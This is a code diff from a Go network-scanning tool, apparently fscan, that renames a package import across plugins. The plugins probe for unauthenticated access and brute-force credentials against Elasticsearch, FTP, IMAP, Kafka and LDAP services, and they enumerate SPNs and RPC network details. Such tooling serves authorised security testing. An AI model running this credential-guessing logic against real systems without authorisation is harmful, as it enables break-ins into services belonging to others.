Common.LogSuccess("[*] SPN信息:")
common.LogSuccess("[*] SPN信息:")
for dn, spnList := range spns {
Common.LogSuccess(fmt.Sprintf("[+] %s", dn))
common.LogSuccess(fmt.Sprintf("[+] %s", dn))
for _, spn := range spnList {
Common.LogSuccess(fmt.Sprintf(" %s", spn))
common.LogSuccess(fmt.Sprintf(" %s", spn))
}
}
}

View File

@ -2,8 +2,8 @@
package Plugins
import "github.com/shadow1ng/fscan/Common"
import "github.com/shadow1ng/fscan/common"
func DCInfoScan(info *Common.HostInfo) (err error) {
func DCInfoScan(info *common.HostInfo) (err error) {
return nil
}

View File

@ -5,7 +5,7 @@ import (
"crypto/tls"
"encoding/base64"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"net/http"
"strings"
"sync"
@ -26,21 +26,21 @@ type ElasticScanResult struct {
Credential ElasticCredential
}
func ElasticScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func ElasticScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 首先测试无认证访问
Common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, Common.Timeout, Common.MaxRetries)
common.LogDebug("尝试无认证访问...")
unauthResult := tryElasticCredential(ctx, info, ElasticCredential{"", ""}, common.Timeout, common.MaxRetries)
if unauthResult.Success {
// 无需认证情况
@ -50,8 +50,8 @@ func ElasticScan(info *Common.HostInfo) error {
// 构建凭据列表
var credentials []ElasticCredential
for _, user := range Common.Userdict["elastic"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["elastic"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, ElasticCredential{
Username: user,
@ -60,11 +60,11 @@ func ElasticScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["elastic"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["elastic"]), len(common.Passwords), len(credentials)))
// 并发扫描
result := concurrentElasticScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentElasticScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveElasticResult(info, target, result.Credential, false)
@ -74,18 +74,18 @@ func ElasticScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Elasticsearch扫描全局超时")
common.LogDebug("Elasticsearch扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1是因为尝试了无认证
return nil
}
}
// concurrentElasticScan 并发扫描Elasticsearch服务
func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
func concurrentElasticScan(ctx context.Context, info *common.HostInfo, credentials []ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -131,7 +131,7 @@ func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentia
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -152,14 +152,14 @@ func concurrentElasticScan(ctx context.Context, info *Common.HostInfo, credentia
}
return nil
case <-ctx.Done():
Common.LogDebug("Elasticsearch并发扫描全局超时")
common.LogDebug("Elasticsearch并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryElasticCredential 尝试单个Elasticsearch凭据
func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
func tryElasticCredential(ctx context.Context, info *common.HostInfo, credential ElasticCredential, timeoutSeconds int64, maxRetries int) *ElasticScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -172,7 +172,7 @@ func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -189,7 +189,7 @@ func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -204,7 +204,7 @@ func tryElasticCredential(ctx context.Context, info *Common.HostInfo, credential
}
// ElasticConn 尝试Elasticsearch连接
func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
func ElasticConn(ctx context.Context, info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second
@ -269,7 +269,7 @@ func ElasticConn(ctx context.Context, info *Common.HostInfo, user string, pass s
}
// saveElasticResult 保存Elasticsearch扫描结果
func saveElasticResult(info *Common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
func saveElasticResult(info *common.HostInfo, target string, credential ElasticCredential, isUnauth bool) {
var successMsg string
var details map[string]interface{}
@ -292,15 +292,15 @@ func saveElasticResult(info *Common.HostInfo, target string, credential ElasticC
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(result)
common.SaveResult(result)
}

View File

@ -4,7 +4,7 @@ import (
"context"
"fmt"
"github.com/jlaffaye/ftp"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
"time"
@ -25,21 +25,21 @@ type FtpScanResult struct {
IsAnonymous bool
}
func FtpScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func FtpScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名登录
Common.LogDebug("尝试匿名登录...")
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, Common.Timeout, Common.MaxRetries)
common.LogDebug("尝试匿名登录...")
anonymousResult := tryFtpCredential(ctx, info, FtpCredential{"anonymous", ""}, common.Timeout, common.MaxRetries)
if anonymousResult.Success {
// 匿名登录成功
@ -49,8 +49,8 @@ func FtpScan(info *Common.HostInfo) error {
// 构建凭据列表
var credentials []FtpCredential
for _, user := range Common.Userdict["ftp"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["ftp"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, FtpCredential{
Username: user,
@ -59,11 +59,11 @@ func FtpScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ftp"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["ftp"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentFtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentFtpScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 保存成功结果
saveFtpResult(info, target, result)
@ -73,18 +73,18 @@ func FtpScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("FTP扫描全局超时")
common.LogDebug("FTP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名登录
return nil
}
}
// concurrentFtpScan 并发扫描FTP服务
func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
func concurrentFtpScan(ctx context.Context, info *common.HostInfo, credentials []FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -130,7 +130,7 @@ func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -151,14 +151,14 @@ func concurrentFtpScan(ctx context.Context, info *Common.HostInfo, credentials [
}
return nil
case <-ctx.Done():
Common.LogDebug("FTP并发扫描全局超时")
common.LogDebug("FTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryFtpCredential 尝试单个FTP凭据
func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
func tryFtpCredential(ctx context.Context, info *common.HostInfo, credential FtpCredential, timeoutSeconds int64, maxRetries int) *FtpScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -171,7 +171,7 @@ func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential Ftp
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -239,13 +239,13 @@ func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential Ftp
// 连接数过多需要等待
if strings.Contains(err.Error(), "too many connections") {
Common.LogDebug("连接数过多等待5秒...")
common.LogDebug("连接数过多等待5秒...")
time.Sleep(5 * time.Second)
continue
}
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break
}
}
@ -260,11 +260,11 @@ func tryFtpCredential(ctx context.Context, info *Common.HostInfo, credential Ftp
}
// FtpConn 建立FTP连接并尝试登录
func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
func FtpConn(info *common.HostInfo, user string, pass string) (success bool, directories []string, err error) {
Host, Port := info.Host, info.Ports
// 建立FTP连接
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(Common.Timeout)*time.Second)
conn, err := ftp.DialTimeout(fmt.Sprintf("%v:%v", Host, Port), time.Duration(common.Timeout)*time.Second)
if err != nil {
return false, nil, err
}
@ -296,7 +296,7 @@ func FtpConn(info *Common.HostInfo, user string, pass string) (success bool, dir
}
// saveFtpResult 保存FTP扫描结果
func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult) {
func saveFtpResult(info *common.HostInfo, target string, result *FtpScanResult) {
var successMsg string
var details map[string]interface{}
@ -323,17 +323,17 @@ func saveFtpResult(info *Common.HostInfo, target string, result *FtpScanResult)
}
}
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: details,
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}
// min 返回两个整数中的较小值

View File

@ -4,7 +4,7 @@ import (
"bytes"
"encoding/hex"
"fmt"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"net"
"regexp"
"strconv"
@ -19,19 +19,19 @@ var (
bufferV3, _ = hex.DecodeString("0900ffff0000")
)
func Findnet(info *Common.HostInfo) error {
func Findnet(info *common.HostInfo) error {
return FindnetScan(info)
}
func FindnetScan(info *Common.HostInfo) error {
func FindnetScan(info *common.HostInfo) error {
target := fmt.Sprintf("%s:%v", info.Host, 135)
conn, err := Common.WrapperTcpWithTimeout("tcp", target, time.Duration(Common.Timeout)*time.Second)
conn, err := common.WrapperTcpWithTimeout("tcp", target, time.Duration(common.Timeout)*time.Second)
if err != nil {
return fmt.Errorf("连接RPC端口失败: %v", err)
}
defer conn.Close()
if err = conn.SetDeadline(time.Now().Add(time.Duration(Common.Timeout) * time.Second)); err != nil {
if err = conn.SetDeadline(time.Now().Add(time.Duration(common.Timeout) * time.Second)); err != nil {
return fmt.Errorf("设置超时失败: %v", err)
}
@ -192,14 +192,14 @@ func read(text []byte, host string) error {
}
// 保存扫描结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.SERVICE,
Type: common.SERVICE,
Target: host,
Status: "identified",
Details: details,
}
Common.SaveResult(result)
common.SaveResult(result)
// 构建控制台输出
var output strings.Builder
@ -224,6 +224,6 @@ func read(text []byte, host string) error {
}
}
Common.LogInfo(output.String())
common.LogInfo(output.String())
return nil
}

View File

@ -11,7 +11,7 @@ import (
"sync"
"time"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// IMAPCredential 表示一个IMAP凭据
@ -28,22 +28,22 @@ type IMAPScanResult struct {
}
// IMAPScan 主扫描函数
func IMAPScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func IMAPScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 构建凭据列表
var credentials []IMAPCredential
for _, user := range Common.Userdict["imap"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["imap"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, IMAPCredential{
Username: user,
@ -52,11 +52,11 @@ func IMAPScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["imap"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["imap"]), len(common.Passwords), len(credentials)))
// 并发扫描
result := concurrentIMAPScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentIMAPScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 记录成功结果
saveIMAPResult(info, target, result.Credential)
@ -66,18 +66,18 @@ func IMAPScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("IMAP扫描全局超时")
common.LogDebug("IMAP扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)))
return nil
}
}
// concurrentIMAPScan 并发扫描IMAP服务
func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
func concurrentIMAPScan(ctx context.Context, info *common.HostInfo, credentials []IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -123,7 +123,7 @@ func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -144,14 +144,14 @@ func concurrentIMAPScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("IMAP并发扫描全局超时")
common.LogDebug("IMAP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryIMAPCredential 尝试单个IMAP凭据
func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
func tryIMAPCredential(ctx context.Context, info *common.HostInfo, credential IMAPCredential, timeoutSeconds int64, maxRetries int) *IMAPScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -164,7 +164,7 @@ func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IM
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -183,7 +183,7 @@ func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IM
lastErr = err
if err != nil {
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -198,9 +198,9 @@ func tryIMAPCredential(ctx context.Context, info *Common.HostInfo, credential IM
}
// IMAPConn 连接测试函数
func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass string) (bool, error) {
func IMAPConn(ctx context.Context, info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
addr := fmt.Sprintf("%s:%s", host, port)
// 创建结果通道
@ -212,7 +212,7 @@ func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass stri
// 在协程中尝试连接
go func() {
// 先尝试普通连接
conn, err := Common.WrapperTcpWithContext(ctx, "tcp", addr)
conn, err := common.WrapperTcpWithContext(ctx, "tcp", addr)
if err == nil {
flag, authErr := tryIMAPAuth(conn, user, pass, timeout)
conn.Close()
@ -234,7 +234,7 @@ func IMAPConn(ctx context.Context, info *Common.HostInfo, user string, pass stri
}
// 使用支持代理的TLS连接
tlsConn, tlsErr := Common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig)
tlsConn, tlsErr := common.WrapperTlsWithContext(ctx, "tcp", addr, tlsConfig)
if tlsErr != nil {
select {
case <-ctx.Done():
@ -303,15 +303,15 @@ func tryIMAPAuth(conn net.Conn, user string, pass string, timeout time.Duration)
}
// saveIMAPResult 保存IMAP扫描结果
func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredential) {
func saveIMAPResult(info *common.HostInfo, target string, credential IMAPCredential) {
successMsg := fmt.Sprintf("IMAP服务 %s 爆破成功 用户名: %v 密码: %v",
target, credential.Username, credential.Password)
Common.LogSuccess(successMsg)
common.LogSuccess(successMsg)
// 保存结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -322,5 +322,5 @@ func saveIMAPResult(info *Common.HostInfo, target string, credential IMAPCredent
"type": "weak-password",
},
}
Common.SaveResult(vulnResult)
common.SaveResult(vulnResult)
}

View File

@ -4,7 +4,7 @@ import (
"context"
"fmt"
"github.com/IBM/sarama"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
"strings"
"sync"
"time"
@ -24,30 +24,30 @@ type KafkaScanResult struct {
Credential KafkaCredential
}
func KafkaScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func KafkaScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 先尝试无认证访问
Common.LogDebug("尝试无认证访问...")
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, Common.Timeout, Common.MaxRetries)
common.LogDebug("尝试无认证访问...")
unauthResult := tryKafkaCredential(ctx, info, KafkaCredential{"", ""}, common.Timeout, common.MaxRetries)
if unauthResult.Success {
// 无认证访问成功
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
common.LogSuccess(fmt.Sprintf("Kafka服务 %s 无需认证即可访问", target))
// 保存无认证访问结果
result := &Common.ScanResult{
result := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -56,14 +56,14 @@ func KafkaScan(info *Common.HostInfo) error {
"type": "unauthorized-access",
},
}
Common.SaveResult(result)
common.SaveResult(result)
return nil
}
// 构建凭据列表
var credentials []KafkaCredential
for _, user := range Common.Userdict["kafka"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["kafka"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, KafkaCredential{
Username: user,
@ -72,16 +72,16 @@ func KafkaScan(info *Common.HostInfo) error {
}
}
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["kafka"]), len(Common.Passwords), len(credentials)))
common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(common.Userdict["kafka"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描
result := concurrentKafkaScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries)
result := concurrentKafkaScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil {
// 保存爆破成功结果
vulnResult := &Common.ScanResult{
vulnResult := &common.ScanResult{
Time: time.Now(),
Type: Common.VULN,
Type: common.VULN,
Target: info.Host,
Status: "vulnerable",
Details: map[string]interface{}{
@ -92,8 +92,8 @@ func KafkaScan(info *Common.HostInfo) error {
"password": result.Credential.Password,
},
}
Common.SaveResult(vulnResult)
Common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
common.SaveResult(vulnResult)
common.LogSuccess(fmt.Sprintf("Kafka服务 %s 爆破成功 用户名: %s 密码: %s",
target, result.Credential.Username, result.Credential.Password))
return nil
}
@ -101,18 +101,18 @@ func KafkaScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出
select {
case <-ctx.Done():
Common.LogDebug("Kafka扫描全局超时")
common.LogDebug("Kafka扫描全局超时")
return fmt.Errorf("全局超时")
default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了无认证
return nil
}
}
// concurrentKafkaScan 并发扫描Kafka服务
func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
func concurrentKafkaScan(ctx context.Context, info *common.HostInfo, credentials []KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
// 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum
maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值
}
@ -158,7 +158,7 @@ func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done():
break
default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred
}
}
@ -179,14 +179,14 @@ func concurrentKafkaScan(ctx context.Context, info *Common.HostInfo, credentials
}
return nil
case <-ctx.Done():
Common.LogDebug("Kafka并发扫描全局超时")
common.LogDebug("Kafka并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作
return nil
}
}
// tryKafkaCredential 尝试单个Kafka凭据
func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
func tryKafkaCredential(ctx context.Context, info *common.HostInfo, credential KafkaCredential, timeoutSeconds int64, maxRetries int) *KafkaScanResult {
var lastErr error
for retry := 0; retry < maxRetries; retry++ {
@ -199,7 +199,7 @@ func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential K
}
default:
if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待
}
@ -261,11 +261,11 @@ func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential K
lastErr = err
if err != nil {
// 记录错误
Common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
common.LogError(fmt.Sprintf("Kafka尝试失败 用户名: %s 密码: %s 错误: %v",
credential.Username, credential.Password, err))
// 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil {
if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误
}
}
@ -280,9 +280,9 @@ func tryKafkaCredential(ctx context.Context, info *Common.HostInfo, credential K
}
// KafkaConn 尝试 Kafka 连接
func KafkaConn(info *Common.HostInfo, user string, pass string) (bool, error) {
func KafkaConn(info *common.HostInfo, user string, pass string) (bool, error) {
host, port := info.Host, info.Ports
timeout := time.Duration(Common.Timeout) * time.Second
timeout := time.Duration(common.Timeout) * time.Second
config := sarama.NewConfig()
config.Net.DialTimeout = timeout

View File

@ -8,7 +8,7 @@ import (
"time"
"github.com/go-ldap/ldap/v3"
"github.com/shadow1ng/fscan/Common"
"github.com/shadow1ng/fscan/common"
)
// LDAPCredential 表示一个LDAP凭据
@ -25,21 +25,21 @@ type LDAPScanResult struct {
IsAnonymous bool
}
func LDAPScan(info *Common.HostInfo) error {
if Common.DisableBrute {
func LDAPScan(info *common.HostInfo) error {
if common.DisableBrute {
return nil
}
target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second)
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel()
// 首先尝试匿名访问
Common.LogDebug("尝试匿名访问...")
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, Common.Timeout, 1)
common.LogDebug("尝试匿名访问...")
anonymousResult := tryLDAPCredential(ctx, info, LDAPCredential{"", ""}, common.Timeout, 1)
if anonymousResult.Success {
// 匿名访问成功
@ -49,8 +49,8 @@ func LDAPScan(info *Common.HostInfo) error {
// 构建凭据列表
var credentials []LDAPCredential
for _, user := range Common.Userdict["ldap"] {
for _, pass := range Common.Passwords {
for _, user := range common.Userdict["ldap"] {
for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, LDAPCredential{
Username: user,
@ -59,11 +59,11 @@ func LDAPScan(info *Common.HostInfo) error {
}
}
